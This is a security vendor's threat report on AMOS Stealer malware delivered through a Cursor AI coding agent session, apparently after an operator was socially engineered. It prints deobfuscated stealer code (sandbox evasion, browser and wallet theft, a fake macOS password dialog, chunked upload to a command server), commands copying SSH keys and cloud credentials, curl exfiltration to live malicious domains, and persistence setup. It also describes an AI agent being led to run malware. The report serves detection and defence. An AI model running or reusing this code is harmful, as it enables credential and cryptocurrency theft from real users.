Skip Navigation

Field Effect detects AMOS Stealer delivered via Cursor AI agent session

Key findings

On April 23, 2026, Field Effect MDR detected and responded to an incident involving the execution of malicious and heavily obfuscated AppleScript commands through a Cursor agent session running Claude Code, identified as AMOS Stealer malware.

This incident appears to indicate a novel malware delivery technique in which an AI coding agent is prompted to download and execute malware loader scripts through social engineering of the operator.

While the delivery of AMOS Stealer through search engine optimization (SEO) poisoning and social engineering with AI technical support themes has previously been reported, and AMOS stealer has been observed leveraging malicious agent skills, this new use of social engineering to prompt a combination of user interaction and agentic malware download execution appears to indicate an evolution in AMOS Stealer delivery, or possible “widening of the net” targeting direct AI agent execution.

As a result of this delivery mechanism, all malicious commands were directly executed by the Cursor agent. This makes identification of malicious activity significantly more difficult, as downloading and executing scripts, rapid file access, and other observed malicious activity are consistent with typical agentic coding and AI agent session behavior.

Incident summary

Field Effect initially detected the AMOS Stealer malware when a suspicious pattern of commands to download and execute a file from an untrusted source were executed by a Cursor agent on a macOS endpoint. A review of this domain indicated that it has been previously observed and reported to be associated with a ClickFix-style campaign presenting fake Claude Code troubleshooting guides.

The resource path referencing n8n software update, below, also appears to be an attempt to masquerade as legitimate AI workflow activity.

curl -fkLsS https://arkypc[.]com/curl/<SHA256_Hash>

curl -o /tmp/helper https://arkypc[.]com/n8n/update

The downloaded file was then made executable and run directly by the Cursor agent, resulting in the execution of a sequence of two AppleScripts. These scripts performed initial sandbox-evasion, followed by the full AMOS Stealer payload, gaining elevated execution permissions by prompting the user to provide local account credentials.

A detailed analysis of the two scripts is included in the AppleScript Analysis section below.

xattr -c /tmp/helper

chmod +x /tmp/helper

/tmp/helper

The AMOS Stealer AppleScript payload collected sensitive data, including credentials, SSH and similar access keys, and cryptocurrency wallet information from browsers and the local system. Data was staged for exfiltration and compressed to an archive at path `/tmp/out.zip`, then split into 25 MB portions and uploaded to a second remote server via curl.

curl --connect-timeout 120 --max-time 300 -X POST -H user: <data> -H BuildID: <data> -H cl: 0 -H cn: 0 -H X-Chunk-ID: <data> -H X-Chunk-Part: 0 -H X-Chunk-Total: 2 -F file=@/tmp/chunk_aa https://lakhov[.]com/contact

The initial data collection and exfiltration was fully automated, and the full time from first malicious download to data upload was under two minutes. 

Following the initial "smash and grab"-style attack targeting common sensitive data locations, the installation of a more stealthy and persistent implant was observed. Software leveraging common macOS software naming conventions to masquerade as a legitimate service was downloaded and registered for persistent execution.

AppleScript analysis

Script obfuscation

Both AppleScripts were obfuscated though the use of unreadable function and variable names, as well as through the replacement of large portions using charcode further modified by adding arbitrary values to each character. 

Example obfuscated code:

on cqfjdxlx(jsordsqub, eqhvrkhfxwif, tirvglkgcf)

try

set mjhuumxw192 to (gtkopxos({130, 260, 211, 208, 227, 265, 186}, {83, 195, 99, 96, 119, 160, 87}))

set mjhuumxw193 to (qsgasyjiwf({72, 185, 240, 61, 164, 78, 87}, {25, -69, -135, 50, -54, 37, -40}))

set mjhuumxw194 to (smkjgbiwap({206, 332, 296, 325, 251, 357, 196}, {39, 135, 112, 120, 57, 160, 81}, 83))

set mjhuumxw195 to (gtkopxos({293, 325, 299, 316, 338, 161, 287}, {210, 208, 194, 200, 237, 115, 190}))

set mjhuumxw196 to (smkjgbiwap({236, 308}, {53, 125}, 71))

set aovkqmov to (mjhuumxw192 & mjhuumxw193 & mjhuumxw194 & mjhuumxw195 & mjhuumxw196)

list folder POSIX file aovkqmov

set mjhuumxw197 to (gtkopxos({180, 257, 268, 345, 309, 257, 195, 334}, {133, 211, 160, 234, 206, 154, 94, 234}))

set mfnnetgczcs to jsordsqub & mjhuumxw197

set mjhuumxw198 to (gtkopxos({290, 310, 241, 101, 211, 186}, {176, 201, 209, 56, 109, 154}))

do shell script mjhuumxw198 & quoted form of mfnnetgczcs

A decoding function included in the first script accepts two lists of integers as input, subtracting the values in the second list from the values in the first, then converting the resulting charcode list to a string.

The decoding function revised for readability is included below.

on decode_charcode_1(encoded_charcode, key_offsets)

set decoded_string to ""

set counter to 0

repeat with char_index from 1 to count of encoded_charcode

set counter to (counter + (item char_index of encoded_charcode)) mod 9999

set decoded_string to decoded_string & (character id ((item char_index of encoded_charcode) - (item char_index of key_offsets)))

end repeat

return decoded_string

end decode_charcode_1

The second script employed the same charcode decoding function, as well as two additional decoding functions with similar behavior.

on decode_charcode_2(encoded_charcode, key_offsets)

set decoded_string to ""

set counter to 1

repeat with char_index from 1 to count of encoded_charcode

set counter to (counter + (item char_index of key_offsets)) mod 9999

set decoded_string to decoded_string & (character id ((item char_index of encoded_charcode) + (item char_index of key_offsets)))

set counter to counter + 1

end repeat

return decoded_string

end decode_charcode_2

on decode_charcode_3(encoded_charcode, key_offsets, base_offset)

set decoded_string to ""

set counter to 0

repeat with char_index from 1 to count of encoded_charcode

set temp_char to ((item char_index of encoded_charcode) - base_offset)

set temp_char to temp_char - (item char_index of key_offsets)

set decoded_string to decoded_string & (character id temp_char)

set counter to (counter + temp_char) mod 9999

end repeat

return decoded_string

end decode_charcode_3

First script: Sandbox evasion

The first AppleScript executed by the Cursor agent performed local system reconnaissance aimed at sandbox-evasion. This is a common technique in which malware attempts to identify whether it may be executing in a disposable security research environment, such as a virtual machine.

This script collects information on the local system using commands `system_profiler SPMemoryDataType` and `system_profiler SPHardwareDataType`, then compares the result against a list of strings associated with known hypervisors and virtual machine architectures.

set hypervisor_strings to {"QEMU", "VMware", "KVM"}

set vm_strings to {"Z31FHXYQ0J", "C07T508TG1J2", "C02TM2ZBHX87", "Chip: Unknown", "Intel Core 2", "Virtual Machine", "VirtualMac", "(Virtual)"}

 

set is_vm to false

repeat with item in hypervisor_strings

if do shell script "system_profiler SPMemoryDataType" contains item then

set is_vm to true

exit repeat

end if

end repeat

 

if not is_vm then

repeat with item in vm_strings

if do shell script "system_profiler SPHardwareDataType" contains item then

set is_vm to true

exit repeat

end if

end repeat

end if

If any string matches, the script exits returning an error code, preventing the second stage AppleScript from executing.

if is_vm then

do shell script "exit 100"

else

do shell script "exit 0"

end if

Second script: AMOS Stealer

Data collection

The second AppleScript performed collection of sensitive information on the local system, copying local systems files from locations commonly containing sensitive information, including credentials, keys and session information, Telegram data, and cryptoccurency wallets.

on copy_from_dir(src_folder, dst_folder)

try

set excluded_items to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "GPUCache", "DawnCache", "Crashpad", "DawnWebGPUCache", "DawnGraphiteCache", "__update__", "tor", "dumps", "emoji", "user_data", "user_data#2", "user_data#3"}

 

set src_contents to list folder src_folder without invisibles

make_directory(dst_folder)

 

repeat with itemRef in src_contents

set item_name to contents of itemRef

if item_name is not in excluded_items then

set src_path to src_folder & "/" & item_name

set dst_path to dst_folder & "/" & item_name

 

if is_directory(src_path) then

copy_from_dir(src_path, dst_path)

else

copy_file(src_path, dst_path)

end if

end if

end repeat

end try

end copy_from_dir

 

on extract_value_from_file(file_path, search_key)

try

set file_ref to POSIX file file_path

set file_contents to read file_ref

set key_offset to offset of search_key in file_contents

 

if key_offset is 0 then return "not found"

 

set value_start to key_offset + (length of search_key)

set value_snippet to text value_start thru (value_start + 55) of file_contents

set delimiter_offset to offset of "\\" in value_snippet

 

if delimiter_offset is 0 then return "not found"

 

set extracted_value to text value_start thru (value_start + delimiter_offset - 2) of file_contents

return extracted_value

on error

return "not found"

end try

end extract_value_from_file

The script additionally targets web browser data, copying user profile data such as history and cookies, and searching for a large hard-coded list of cryptocurrency wallet extension IDs. 

property wallet_extensions : {"abamjefkidngfegdjbmffdmbgjgpaobf", "abjfbanhppgiflmobebfffbijcfoeiao", ...

on steal_chromium_data(staging_dir, browser_configs, include_history)

set target_files to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/", "/Local Storage/leveldb/"}

 

if include_history is equal to "true" then

set target_files to target_files & {"/History"}

end if

 

repeat with browser_config in browser_configs

set browser_name to item 1 of browser_config

set profiles_base to item 2 of browser_config

set profile_staging_prefix to staging_dir & "Chromium/" & browser_name & "_"

 

try

set profiles_list to list folder profiles_base without invisibles

 

repeat with profile_name in profiles_list

if ((profile_name as string) is equal to "Default") or ((profile_name as string) contains "Profile") then

 

set found_wallet_extension to false

 

repeat with target_file in target_files

set src_folder to (profiles_base & profile_name & target_file)

set profile_dst_prefix to profile_staging_prefix & profile_name

 

set dst_suffix to target_file

if ((target_file as string) is equal to "/Network/Cookies") then

set dst_suffix to "/Cookies"

end if

 

if ((target_file as string) is equal to "/Local Extension Settings/") then

if has_target_extension(src_folder, wallet_extensions) then

set found_wallet_extension to true

end if

steal_matching_extensions(src_folder, profile_dst_prefix, wallet_extensions, false)

 

else if (target_file as string) is equal to "/IndexedDB/" then

if has_target_extension(src_folder, wallet_extensions) then

set found_wallet_extension to true

end if

steal_matching_extensions(src_folder, profile_dst_prefix, wallet_extensions, true)

 

else if (target_file as string) is equal to "/Local Storage/leveldb/" then

if found_wallet_extension then

copy_from_dir(src_folder, profile_dst_prefix & "/Local Storage/leveldb/")

end if

 

else

copy_file(src_folder, profile_dst_prefix & dst_suffix)

end if

end repeat

end if

end repeat

end try

end repeat

end steal_chromium_data

The following is a sample of resulting data collection commands executed on the endpoint by the Cursor agent:

cp -f /Users//Library/Application Support/Telegram Desktop/tdata/key_datas /tmp//Telegram Data/key_datas

cp -f /Users//Library/Application Support/Binance/app-store.json/tmp//deskwallets/Binance/app-store.json

cp -f /Users//Library/Application Support/@tonkeeper/desktop/config.json /tmp//deskwallets/TonKeeper/config.json

cp -f /Users//Library/Keychains/login.keychain-db /tmp//login.keychain-db

cp -f /Users//.ssh//known_hosts.old /tmp//FileGrabber/ssh//known_hosts.old

cp -f /Users//.ssh//config /tmp//FileGrabber/ssh//config

cp -f /Users//.ssh//id_rsa /tmp//FileGrabber/ssh//id_rsa

cp -f /Users//.ssh//id_rsa.pub /tmp//FileGrabber/ssh//id_rsa.pub

cp -f /Users//.ssh//known_hosts /tmp//FileGrabber/ssh//known_hosts

cp -f /Users//.aws/credentials /tmp//FileGrabber/aws/credentials

cp -f /Users//.aws/config /tmp//FileGrabber/aws/config

cp -f /Users//.config/gcloud/application_default_credentials.json /tmp//FileGrabber/gcloud/credentials.json

cp -f /Users//.config/gcloud/credentials.db /tmp//FileGrabber/gcloud/credentials.db

cp -f /Users//.docker/config.json /tmp//FileGrabber/docker/config.json

cp -f /Users//.filezilla/sitemanager.xml /tmp//FileGrabber/filezilla/sitemanager.xml

cp -f /Users//.filezilla/recentservers.xml /tmp//FileGrabber/filezilla/recentservers.xml

cp -f /Users//.zsh_history /tmp//FileGrabber/zsh_history

cp -f /Users//Library/Application Support/Firefox/Profiles/.default/cookies.sqlite /tmp//ff/Firefox_.default/cookies.sqlite

cp -f /Users//Library/Application Support/Firefox/Profiles/.default/formhistory.sqlite /tmp//ff/Firefox_.default/formhistory.sqlite

cp -f /Users//Library/Application Support/Firefox/Profiles/.default/key4.db /tmp//ff/Firefox_.default/key4.db

cp -f /Users//Library/Application Support/Firefox/Profiles/.default/logins.json /tmp//ff/Firefox_.default/logins.json

cp -f /Users//Library/Application Support/Firefox/Profiles/.default/extensions.json /tmp//ff/Firefox_.default/extensions.json

cp -f /Users//Library/Application Support/Firefox/Profiles/.default/extension-preferences.json /tmp//ff/Firefox_.default/extension-preferences.json

cp -f /Users//Library/Application Support/Google/Chrome/Profile 1/Network/Cookies /tmp//Chromium/Chrome_Profile 1/Cookies

cp -f /Users//Library/Application Support/Google/Chrome/Profile 1/Cookies /tmp//Chromium/Chrome_Profile 1/Cookies

cp -f /Users//Library/Application Support/Google/Chrome/Profile 1/Web Data /tmp//Chromium/Chrome_Profile 1/Web Data

cp -f /Users//Library/Application Support/Google/Chrome/Profile 1/Login Data /tmp//Chromium/Chrome_Profile 1/Login Data

Local account credentials

The script additionally presents the user with a social engineering prompt to obtain local account credentials through user input. These credentials are later used to execute commands on the local system with elevated permissions.

on verify_password(username, password_attempt)

try

set auth_result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_attempt

return auth_result is equal to ""

on error

return false

end try

end verify_password

 

on prompt_user_password(username, staging_dir)

try

if verify_password(username, "") then

write_file(do shell script "security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'" as string, staging_dir & "masterpass-chrome")

else

set first_attempt to true

repeat

if first_attempt then

set prompt_msg to "macOS wants to make changes. Enter the password for user "" & username & "" to allow this."

else

set prompt_msg to "The password you entered is incorrect. Please enter the password for user "" & username & "\"."

end if

set dialog_result to display dialog prompt_msg default answer "" with icon caution buttons {"OK"} default button "OK" with hidden answer with title "macOS"

set password_entered to text returned of dialog_result

set first_attempt to false

if verify_password(username, password_entered) then

return password_entered

end if

end repeat

end if

end try

return ""

end prompt_user_password

Exfiltration

Once targeted files have been copied to the data staging directory, the script compresses the directory to a .zip archive, splits it into 25 MB portions, and uploads the results to a remote server. In the event that the remote server domain cannot be resolved, a fallback hard-coded IP address is used.

After successful exfiltration is verified, staging directories and other artifacts are removed.

on upload_to_c2(c2_url, username, build_id, cl_value, cn_value)

set max_single_upload_size to 26214400

set http_headers to "-H "user: " & username & "" -H "BuildID: " & build_id & "" -H "cl: " & cl_value & "" -H "cn: " & cn_value & "\""

 

set zip_file_size to (do shell script "stat -f%z /tmp/out.zip") as integer

 

if zip_file_size is less than or equal to max_single_upload_size then

upload_zip(c2_url, http_headers)

return

end if

 

do shell script "split -b " & max_single_upload_size & " /tmp/out.zip /tmp/chunk_"

set chunk_id to do shell script "head -c 8 /dev/urandom | xxd -p"

set chunk_files to paragraphs of (do shell script "ls -1 /tmp/chunk_* | sort")

set chunk_count to count of chunk_files

 

set all_chunks_uploaded to true

repeat with chunk_index from 1 to chunk_count

set chunk_file to item chunk_index of chunk_files

set chunk_part to (chunk_index - 1) as text

set chunk_headers to http_headers & " -H "X-Chunk-ID: " & chunk_id & "" -H "X-Chunk-Part: " & chunk_part & "" -H "X-Chunk-Total: " & (chunk_count as text) & "\""

set chunk_uploaded to false

repeat with attempt from 1 to 3

try

do shell script "curl --connect-timeout 120 --max-time 300 -X POST " & chunk_headers & " -F "file=@" & chunk_file & "\" " & c2_url & "/contact"

set chunk_uploaded to true

exit repeat

end try

delay 10

end repeat

if not chunk_uploaded then

set all_chunks_uploaded to false

end if

end repeat

 

do shell script "rm -f /tmp/chunk_*"

 

if all_chunks_uploaded then return

 

set fallback_url to "http://92.246.136[.]14"

repeat with attempt from 1 to 3

try

do shell script "curl --connect-timeout 180 --max-time 600 -X POST " & http_headers & " -F "file=@/tmp/out.zip" " & fallback_url & "/contact"

return

end try

delay 15

end repeat

end upload_to_c2

 

on upload_zip(c2_url, http_headers)

repeat with attempt from 1 to 3

try

do shell script "curl --connect-timeout 120 --max-time 300 -X POST " & http_headers & " -F "file=@/tmp/out.zip" " & c2_url & "/contact"

return

end try

delay 15

end repeat

set fallback_url to "http://92.246.136[.]14"

repeat with attempt from 1 to 3

try

do shell script "curl --connect-timeout 120 --max-time 300 -X POST " & http_headers & " -F "file=@/tmp/out.zip" " & fallback_url & "/contact"

return

end try

delay 15

end repeat

end upload_zip

 

The following corresponding commands were executed on the endpoint by the Cursor agent:

ditto -c -k --sequesterRsrc /tmp// /tmp/out.zip

split -b 26214400 /tmp/out.zip /tmp/chunk_

 

curl --connect-timeout 120 --max-time 300 -X POST -H user: -H BuildID: -H cl: 0 -H cn: 0 -H X-Chunk-ID: -H X-Chunk-Part: 0 -H X-Chunk-Total: 2 -F file=@/tmp/chunk_aa https://lakhov[.]com/contact

curl --connect-timeout 120 --max-time 300 -X POST -H user: -H BuildID: -H cl: 0 -H cn: 0 -H X-Chunk-ID: -H X-Chunk-Part: 1 -H X-Chunk-Total: 2 -F file=@/tmp/chunk_ab https://lakhov[.]com/contact

Persistent implant

Following initial data exfiltration, a persistent implant was installed on the system and registered for persistent execution as a service. The implant is named to masquerade as legitimate macOS system software. Interestingly, the variable name `botDir` was not obfuscated in the original form of the script.

set botDir to root_path & "/Library/Application Support/.com.apple.accountsd"

set botBin to botDir & "/AccountsHelper"

set agentPath to botDir & "/.service"

set daemonLabel to "com.apple.accountsd.helper"

set daemonPlist to "/Library/LaunchDaemons/" & daemonLabel & ".plist"

The following corresponding commands were executed on the endpoint by the Cursor agent:

curl -o /Users//Library/Application Support/.com.apple.accountsd/AccountsHelper https://ouilov[.]com/zxc/kito

 

chmod +x /Users//Library/Application Support/.com.apple.accountsd/AccountsHelper

chmod +x /Users//Library/Application Support/.com.apple.accountsd/.service

 

sh -c echo '' | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.apple.accountsd.helper.plist

sh -c echo '' | sudo -S chown root:wheel /Library/LaunchDaemons/com.apple.accountsd.helper.plist

sh -c echo '' | sudo -S launchctl load /Library/LaunchDaemons/com.apple.accountsd.helper.plist

Where required, commands were executed with elevated permissions by piping the local account's password to 'sudo'. This password was likely cached by the AppleScript prompting the user to input local account credentials.

Detecting the threat with Field Effect MDR

Safe use of AI agents requires constant auditing of commands, resource access, and other behaviors that may indicate malicious activity. While it is not always practical to validate every command executed by an AI agent, we recommend auditing use of sensitive commands such as 'curl' and 'chmod'.

Field Effect MDR leverages a combination of automated detections, AI and Machine Learning analytics, and human analysts to monitor anomalous activity for indication of possible malicious use of legitimate tools, including AI agents.

Initial access & execution
  • Detection of suspicious scripting activity (e.g., AppleScript, curl, chmod) using behavioral analytics
  • Monitors user execution of unsigned or ad-hoc signed binaries to catch social engineering attempts
Persistence & defense evasion
  • Tracks creation/modification of LaunchDaemons and LaunchAgents
  • Flags masquerading binaries and command obfuscation techniques
Credential access
Command and control (C2)
  • Flags anomalous curl usage and monitors for connections to malicious infrastructure

  • Uses DNS firewall and network analytics to block and detect covert communications

Collection & exfiltration
  • Detects data staging and exfiltration tools like curl, rsync, and compression software

  • Integrates DLP to monitor unauthorized data egress from sensitive directories

Discovery
  • Monitors system/network reconnaissance commands

  • Uses UEBA to detect abnormal user behavior and system enumeration

Response & integration
  • Supports both automated and analyst-guided responses, including endpoint isolation and malware blocking

Conclusion

By prompting a user to execute malicious scripts via an AI coding agent, resulting malicious commands and other behavior are more difficult to identify against a background of similar activity executed legitimately during the agent session.

Use of the agent session continued throughout the execution of malicious scripts, further inserting benign download and file access commands into the execution timeline.

Detection opportunities

Behavioral detection

Wherever possible, Field Effect MDR prioritizes behavioral monitoring to successfully detect changing or previously unseen threats. The following unique characteristics of AMOS Stealer present possible opportunities for behavioral detection.

Example behaviors:
  • AppleScript commands indicating prompts for user credentials.
  • Access to sensitive file locations, including browser data, by untrusted or scripting software.
  • Modification of Launch Daemon or Launch Agent ‘.plist’ files by untrusted or scripting software.
  • Elevated command execution by piping explicit credentials to sudo: `sh -c echo '<password>' | sudo -S <command>`

Field Effect MDR will additionally tune detections around environmental behavior and context in order to precisely detect anomalous behavior, when legitimate tools and commands are leveraged by threat actors.

Network indicators of compromise (IOCs)

Loader and AppleScripts
Domain arkypc[.]com
Domain lakhov[.]com
Domain ouilov[.]com
IP address 92.246.136[.]14
Persistence implants
Domain foto[.]gd
Domain mpasvw[.]com
IP address 45.94.47[.]204

Endpoint indicators of compromise (IOCs)

Loader
File path /private/tmp/helper
MD5 hash 312147C0AE0D555A4D50FA627FF7D4F3
SHA1 hash 62360EA3B0030238B31DCAE402F94C9C73474154
SHA256 hash 8EF98FD781A6F1869657FC1ACBC9B43A228A99E6FA5FE39C47CCE8AB58066596
Signing ID setup
Persistence implant
File path  /Users/<username>/Library/Application Support/.com.apple.accountsd/AccountsHelper
MD5 hash  C54620DD3745FDEAFF5CCC0DB4132F11
SHA1 hash  DF297141E4676B40C29739033468D58163280067
SHA256 hash  C11BFC200C363EF76AD40B717B5A850DAF699F6FA64A26A8ECF7848711BDBD9C
Signing ID  kito